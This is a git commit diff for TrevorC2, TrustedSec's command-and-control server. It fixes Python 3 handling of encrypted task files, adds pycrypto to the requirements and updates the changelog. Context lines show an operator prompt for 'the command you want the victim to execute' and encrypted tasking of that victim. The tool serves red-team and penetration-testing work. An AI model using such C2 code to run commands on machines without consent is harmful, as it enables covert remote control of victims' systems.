update requirements and fix for python3

This commit is contained in:
TrustedSec
2017-10-29 12:02:11 -04:00
parent bfdfd7b0a6
commit 739bcf8294
3 changed files with 6 additions and 3 deletions
+2
View File
@@ -6,6 +6,8 @@ version 0.3
* add root path query which allows you to change the file/location where the code is contained within trevorc2
* add full support for Python2/3 AES support for encrypted transfer of data
* fix control-c from exiting properly, kill process
* couple minor fixes for python3 compatibility
* update requirements.txt for pycrypto
~~~~~~~~~~~~~~~~
version 0.2
+1
View File
@@ -1,2 +1,3 @@
bleach
tornado
pycrypto
+3 -3
View File
@@ -201,7 +201,7 @@ class SPQ(tornado.web.RequestHandler):
with open("clone_site/instructions.txt", "w") as fh:
no_instructions = cipher.encrypt("nothing".encode())
fh.write(no_instructions.decode())
fh.write(no_instructions)
def main_c2():
"""Start C2 Server."""
@@ -277,7 +277,7 @@ if __name__ == "__main__":
# here we say no instructions to the client
with open("clone_site/instructions.txt", "w") as fh:
no_instructions = cipher.encrypt("nothing".encode())
fh.write(no_instructions.decode())
fh.write(no_instructions)
print("[*] Next, enter the command you want the victim to execute.")
print("[*] Client uses random intervals, this may take a few.")
@@ -291,7 +291,7 @@ if __name__ == "__main__":
sys.exit("Not sure I support this version of Python.")
task_out = cipher.encrypt(task.encode())
with open("clone_site/instructions.txt", "w") as fh:
fh.write(task_out.decode())
fh.write(task_out)
print("[*] Waiting for command to be executed, be patient, results will be displayed here...")
while 1:
# we received a hit with our command